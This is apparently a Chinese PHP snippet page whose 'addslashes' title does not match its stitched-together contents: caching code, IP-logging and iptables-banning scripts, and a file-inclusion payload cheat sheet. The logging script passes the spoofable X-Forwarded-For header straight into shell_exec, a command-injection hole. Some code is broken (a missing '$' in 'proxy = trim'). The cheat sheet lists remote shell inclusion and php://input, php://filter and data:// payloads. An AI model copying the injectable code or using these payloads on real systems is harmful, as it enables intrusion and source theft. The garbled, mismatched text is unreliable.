PHP addslashes 的高级写法

var_export($times,true);后面不加true不能写入文件哟
$fp = fopen('aa.txt','w+');
fwrite($fp,var_export($times,true));
fclose($fp);

if(isset($_POST['sub'])){    
 $cfg = array('contact'=>$_POST['contact']); //把数据存入数组   
 file_put_contents('./data/contact.cache',serialize($cfg));
        //把数组序列化之后，写到contact.cache里，
 $this->redirect('other/contact');//跳转
 }
 else{    
 $fp = fopen('./data/contact.cache','r');//读
 $cf = unserialize(fread($fp,filesize('./data/contact.cache')));//反序列化，并赋值
 $this->assign('cfg',$cf);//送到前台模板
 $this->display('other/contact');
 }

<?php 

$real_ip = getenv('HTTP_X_FORWARDED_FOR'); 

if(isset($real_ip)){ 

        shell_exec("echo $real_ip >> real_ip.txt"); 

        shell_exec("echo $_SERVER['REMOTE_ADDR'] >> proxy.txt"); 

}else{ 

        shell_exec("echo $_SERVER['REMOTE_ADDR'] >> ips.txt"); 

} 

echo '服务器受到攻击，正在收集攻击源，请在5分钟后访问本站，5分钟内多次访问本站有可能会被当作攻击源封掉IP。谢谢合作！'; 

?>

rewrite (.*) /ip.php;
Lighttpd规则：

url.rewrite = ( 

"^/(.+)/?$" => "/ip.php"

)

<?php 

$threshold = 10; 

$ips = array_count_values(file('ips.txt')); 

$ban_num = 0; 

foreach($ips as $ip=>$num){ 

    if($num > $threshold){ 

                $ip = trim($ip); 

                $cmd = "iptables -I INPUT -p tcp --dport 80 -s $ip -j DROP"; 

        shell_exec($cmd); 

        echo "$ip baned!n"; 

        $ban_num ++; 

        } 

} 

$proxy_arr = array_unique(file('proxy.txt')); 

foreach($proxy_arr as $proxy){ 

    proxy = trim($proxy); 

    $cmd = "iptables -I INPUT -p tcp --dport 80 -s $proxy -j DROP"; 

    shell_exec($cmd); 

    echo "$proxy baned!n"; 

    $ban_num ++; 

} 

echo "total: $ban_num ipsn"; 

?>

<?php include($_GET['file']); ?>

* 包含远程代码(Including Remote Code):

?file=[http|https|ftp]://websec.wordpress.com/shell.txt

(需要 allow_url_fopen=On 和 allow_url_include=On)

* 使用php输入流(Using PHP stream php://input):

?file=php://input
(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)

* 使用PHP过滤函数(Using PHP stream php://filter):
?file=php://filter/convert.base64-encode/resource=index.php
(lets you read PHP source because it wont get evaluated in base64. More details here and here)
* Using data URIs:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要 allow_url_include=On)

<?php include(“http://192.168.1.10/config.php”); ?>
* 中间人攻击(Man In The Middle)
(lame indeed, but often forgotten)